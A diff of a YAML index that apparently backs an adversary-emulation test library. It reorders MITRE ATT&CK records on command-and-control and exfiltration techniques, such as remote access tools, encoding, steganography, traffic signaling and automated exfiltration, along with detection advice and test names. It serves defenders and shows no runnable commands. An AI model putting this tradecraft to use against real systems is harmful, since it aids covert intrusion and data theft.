         An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
 
         Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.
 
         Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1219
-        url: https://attack.mitre.org/techniques/T1219
-      - url: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
-        description: Wueest, C., Anand, H. (2017, July). Living off the land and fileless
-          attack techniques. Retrieved April 10, 2018.
-        source_name: Symantec Living off the Land
-      - url: https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
-        description: CrowdStrike Intelligence. (2016). 2015 Global Threat Report.
-          Retrieved April 11, 2018.
-        source_name: CrowdStrike 2015 Global Threat Report
-      - url: https://blog.crysys.hu/2013/03/teamspy/
-        description: CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’
-          tolko s razreshenija S-a. Retrieved April 11, 2018.
-        source_name: CrySyS Blog TeamSpy
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-06-20T20:42:37.320Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_permissions_required:
-      - User
-      x_mitre_network_requirements: true
+      x_mitre_contributors:
+      - Matt Kelly, @breakersall
       x_mitre_detection: |-
         Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.
 
         Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.
 
         [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Matt Kelly, @breakersall
-      x_mitre_version: '2.0'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1219
     atomic_tests:
     - name: TeamViewer Files Detected Test on Windows
@@ -73491,26 +75744,23 @@ command-and-control:
         elevation_required: true
   T1132.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1132.001
-        url: https://attack.mitre.org/techniques/T1132/001
-      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
-        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Binary-to-text Encoding
-      - url: https://en.wikipedia.org/wiki/Character_encoding
-        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Character Encoding
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Standard Encoding
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-03-14T23:36:52.095Z'
+      created: '2020-03-14T23:36:52.095Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c
       description: 'Adversaries may encode data with a standard data encoding system
         to make the content of command and control traffic more difficult to detect.
         Command and control (C2) information can be encoded using a standard data
@@ -73518,29 +75768,32 @@ command-and-control:
         encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation:
         Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
         Some data encoding systems may also result in data compression, such as gzip.'
-      id: attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-14T23:36:52.095Z'
-      created: '2020-03-14T23:36:52.095Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1132/001
+        external_id: T1132.001
+        source_name: mitre-attack
+      - source_name: Wikipedia Binary-to-text Encoding
+        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
+      - source_name: Wikipedia Character Encoding
+        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Character_encoding
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1132.001
     atomic_tests:
     - name: Base64 Encoded data.
@@ -73599,18 +75852,21 @@ command-and-control:
         name: powershell
   T1001.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1001.002
-        url: https://attack.mitre.org/techniques/T1001/002
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Steganography
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-03-15T00:37:58.963Z'
+      created: '2020-03-15T00:37:58.963Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235
       description: 'Adversaries may use steganographic techniques to hide command
         and control traffic to make detection efforts more difficult. Steganographic
         techniques can be used to hide data in digital messages that are transferred
@@ -73618,71 +75874,107 @@ command-and-control:
         of compromised systems. In some cases, the passing of files embedded using
         steganography, such as image or document files, can be used for command and
         control. '
-      id: attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-15T00:37:58.963Z'
-      created: '2020-03-15T00:37:58.963Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1001/002
+        external_id: T1001.002
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1573.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1573.001
-        url: https://attack.mitre.org/techniques/T1573/001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Symmetric Cryptography
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T21:25:37.306Z'
+      created: '2020-03-16T15:45:17.032Z'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41
       description: Adversaries may employ a known symmetric encryption algorithm to
         conceal command and control traffic rather than relying on any inherent protections
         provided by a communication protocol. Symmetric encryption algorithms use
         the same key for plaintext encryption and ciphertext decryption. Common symmetric
         encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
-      id: attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-26T21:25:37.306Z'
-      created: '2020-03-16T15:45:17.032Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: |-
         With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.
 
         In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1573/001
+        external_id: T1573.001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1205:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
+      type: attack-pattern
       modified: '2021-02-17T14:23:49.495Z'
+      name: Traffic Signaling
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205
+        external_id: T1205
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
+        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
+          To Encrypt Offline Devices. Retrieved February 11, 2021.
+        source_name: Bleeping Computer - Ryuk WoL
+      - url: https://www.amd.com/system/files/TechDocs/20213.pdf
+        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
+          Retrieved February 17, 2021.
+        source_name: AMD Magic Packet
+      - url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
+        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
+          17, 2021.
+        source_name: GitLab WakeOnLAN
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.2'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -73690,41 +75982,14 @@ command-and-control:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205
-        url: https://attack.mitre.org/techniques/T1205
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Bleeping Computer - Ryuk WoL
-        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
-        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
-          To Encrypt Offline Devices. Retrieved February 11, 2021.
-      - source_name: AMD Magic Packet
-        url: https://www.amd.com/system/files/TechDocs/20213.pdf
-        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
-          Retrieved February 17, 2021.
-      - source_name: GitLab WakeOnLAN
-        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
-        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
-          17, 2021.
+      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
+      revoked: false
+      x_mitre_defense_bypassed:
+      - Defensive network service scanning
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
 
@@ -73735,53 +76000,37 @@ command-and-control:
         On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.
 
         Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
-      name: Traffic Signaling
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
-      revoked: false
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.2'
-      x_mitre_defense_bypassed:
-      - Defensive network service scanning
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Josh Day, Gigamon
       x_mitre_detection: |-
         Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
 
         The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Josh Day, Gigamon
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1071.001:
     technique:
-      created: '2020-03-15T16:13:46.151Z'
-      modified: '2020-03-26T20:15:35.821Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1071.001
-        url: https://attack.mitre.org/techniques/T1071/001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-03-26T20:15:35.821Z'
       name: Web Protocols
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-15T16:13:46.151Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161
       description: "Adversaries may communicate using application layer protocols
         associated with web traffic to avoid detection/network filtering by blending
         in with existing traffic. Commands to the remote system, and often the results
@@ -73791,9 +76040,11 @@ command-and-control:
         in which data can be concealed. An adversary may abuse these protocols to
         communicate with systems under their control within a victim network while
         also mimicking normal, expected traffic. "
-      id: attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
@@ -73802,13 +76053,15 @@ command-and-control:
         syntax, structure, or any other variable adversaries could leverage to conceal
         data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from
         known-bad or suspicious domains. "
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1071/001
+        external_id: T1071.001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1071.001
     atomic_tests:
     - name: Malicious User Agents - Powershell
@@ -73891,35 +76144,32 @@ command-and-control:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1102
-        url: https://attack.mitre.org/techniques/T1102
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      description: |-
-        Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
-
-        Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
-      name: Web Service
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-03-26T23:26:10.297Z'
-      created: '2017-05-31T21:31:13.915Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
-      x_mitre_contributors:
-      - Anastasios Pingios
+      name: Web Service
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.1'
+      modified: '2020-03-26T23:26:10.297Z'
+      created: '2017-05-31T21:31:13.915Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
+
+        Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
+      x_mitre_contributors:
+      - Anastasios Pingios
       x_mitre_detection: 'Host data that can relate unknown or suspicious process
         activity using a network connection is important to supplement any existing
         indicators of compromise based on malware command and control signatures and
@@ -73928,49 +76178,27 @@ command-and-control:
         for uncommon data flows (e.g., a client sending significantly more data than
         it receives from a server). User behavior monitoring may help to detect abnormal
         patterns of activity.(Citation: University of Birmingham C2)'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1102
+        external_id: T1102
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
 exfiltration:
   T1020:
     technique:
-      id: attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Automated Exfiltration
-      description: "Adversaries may exfiltrate data, such as sensitive documents,
-        through the use of automated processing after being gathered during Collection.
-        \n\nWhen automated exfiltration is used, other exfiltration techniques likely
-        apply as well to transfer the information out of the network, such as [Exfiltration
-        Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration
-        Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)."
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1020
-        external_id: T1020
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2021-04-22T20:21:10.590Z'
-      created: '2017-05-31T21:30:29.458Z'
-      x_mitre_contributors:
-      - ExtraHop
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
-      x_mitre_network_requirements: true
-      x_mitre_detection: Monitor process file access patterns and network behavior.
-        Unrecognized processes or scripts that appear to be traversing file systems
-        and sending network traffic may be suspicious.
+      name: Automated Exfiltration
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1020
+        external_id: T1020
+        source_name: mitre-attack
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Script: Script Execution'
@@ -73979,6 +76207,31 @@ exfiltration:
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Access'
       x_mitre_version: '1.2'
+      modified: '2021-08-16T15:23:38.940Z'
+      created: '2017-05-31T21:30:29.458Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9
+      description: "Adversaries may exfiltrate data, such as sensitive documents,
+        through the use of automated processing after being gathered during Collection.
+        \n\nWhen automated exfiltration is used, other exfiltration techniques likely
+        apply as well to transfer the information out of the network, such as [Exfiltration
+        Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration
+        Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)."
+      x_mitre_contributors:
+      - ExtraHop
+      x_mitre_detection: Monitor process file access patterns and network behavior.
+        Unrecognized processes or scripts that appear to be traversing file systems
+        and sending network traffic may be suspicious.
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1020
     atomic_tests:
     - name: IcedID Botnet HTTP PUT
@@ -74011,34 +76264,33 @@ exfiltration:
         name: powershell
   T1030:
     technique:
-      id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Data Transfer Size Limits
-      description: An adversary may exfiltrate data in fixed size chunks instead of
-        whole files or limit packet sizes below certain thresholds. This approach
-        may be used to avoid triggering network data transfer threshold alerts.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1030
-        external_id: T1030
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Data Transfer Size Limits
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1030
+        external_id: T1030
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.0'
+      modified: '2020-07-14T19:47:46.912Z'
+      created: '2017-05-31T21:30:34.523Z'
+      x_mitre_network_requirements: true
